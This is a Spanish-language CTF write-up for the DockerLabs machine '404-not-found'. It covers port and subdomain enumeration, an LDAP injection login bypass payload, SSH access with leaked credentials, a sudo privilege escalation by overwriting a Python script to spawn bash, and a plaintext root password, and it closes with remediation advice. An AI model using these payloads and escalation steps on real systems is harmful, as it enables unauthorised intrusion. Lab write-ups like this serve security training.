404-not-found

Introducción

Este documento detalla la resolución completa de la máquina 404-not-found, desarrollada por d1se0 para DockerLabs y clasificada con un nivel de dificultad Medio.

El objetivo de este write-up es explicar de forma clara y ordenada el proceso de compromiso del sistema:

1. Reconocimiento: Identificación de puertos, dominios y servicios expuestos.
2. Explotación: Acceso inicial mediante bypass de autenticación LDAP.
3. Escalada de privilegios: Abuso de configuraciones indebidas en sudo hasta obtener acceso a root.

Todo el procedimiento se realizó en el entorno aislado provisto por DockerLabs.

---

Información General

Atributo	Valor
Nombre	404-not-found
Autor	d1se0
Dificultad	Medio
Fecha	24/08/2024
Plataforma	DockerLabs

---

Paso 0 — Preparación y despliegue

Desplegamos la máquina con los siguientes comandos:

unzip 404-not-found.zip
sudo bash auto_deploy.sh 404-not-found.tar

---

Paso 1 — Reconocimiento

1.1 Organización del entorno

mkdir -p 404-not-found/{content,exploits,nmap,gobuster,scripts}
cd 404-not-found

---

1.2 Escaneo de puertos

Realizamos un escaneo completo de puertos TCP:

nmap -p- --open -sS --min-rate 5000 -vvv -n 172.17.0.2 -oG allPorts
extractPorts allPorts

Puertos abiertos:

• 22/tcp — SSH
• 80/tcp — HTTP

---

1.3 Enumeración HTTP

Al acceder a http://172.17.0.2 somos redirigidos a un dominio:

404-not-found.hl

Lo agregamos al archivo /etc/hosts:

echo "172.17.0.2 404-not-found.hl" | sudo tee -a /etc/hosts

Realizamos un escaneo con Feroxbuster:

feroxbuster -u http://404-not-found.hl -d 0 \
  -w /usr/share/seclists/Discovery/Web-Content/DirectoryList2.3-medium.txt \
  -x php,txt,html,js,bak,old \
  -t 40 \
  -C 404,403

Rutas relevantes:

• /index — Página principal

• /participar.html — Contiene una pista codificada en Base64

La cadena Base64 nos indica que prestemos atención a la URL.

---

Paso 2 — Explotación (Acceso inicial)

Ya que la pista sugiere revisar el dominio, realizamos enumeración de subdominios con Gobuster:

gobuster vhost -u http://404-not-found.hl \
  -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt \
  --append-domain -r

Resultado:

Encontramos un subdominio válido:

info.404-not-found.hl

Lo agregamos al /etc/hosts:

echo "172.17.0.2 info.404-not-found.hl" | sudo tee -a /etc/hosts

Al acceder al subdominio encontramos un formulario de login:

Revisando el código fuente:

El sistema usa LDAP como backend de autenticación → posible LDAP Injection.

Probamos un bypass clásico:

user: *)(uid=*))(|(uid=*
pass: *)(uid=*))(|(uid=*

Resultado: Acceso completo al panel de administración

Dentro del panel encontramos credenciales para SSH:

Usuario: 404-page
Contraseña: <obtenida en el panel>

Accedemos por SSH:

ssh 404-page@172.17.0.2

---

Paso 3 — Escalada de privilegios

3.1 De 404-page → 200-ok

Verificamos permisos de sudo:

Podemos ejecutar calculator.py como el usuario 200-ok.

Como el archivo no tiene permiso de lectura, pero sí de ejecución, lo sobrescribimos:

rm calculator.py

echo '#!/usr/bin/env python3
import os
os.system("/bin/bash")' > calculator.py

chmod +x calculator.py

sudo -u 200-ok /home/404-page/calculator.py

Resultado: Shell como 200-ok

---

3.2 De 200-ok → root

En el home encontramos:

boss.txt
user.txt

El archivo boss.txt contiene una contraseña que pertenece directamente al usuario root.

Accedemos como root:

su root

---

Fallos de Seguridad Identificados

• Credenciales expuestas en el panel de administración.
• Autenticación LDAP vulnerable a LDAP Injection.
• Mala configuración de sudo, permitiendo sobrescritura arbitraria de scripts.
• Contraseña de root almacenada en texto plano en el sistema.

---

Recomendaciones

• Implementar sanitización de entradas en consultas LDAP.
• Usar autenticación multifactor o tokens en lugar de credenciales fijas.
• Restringir permisos de sudo y evitar ejecutar scripts sin verificación de integridad.
• Nunca almacenar contraseñas de root en texto plano.
• Implementar una política adecuada de permisos en el sistema de archivos.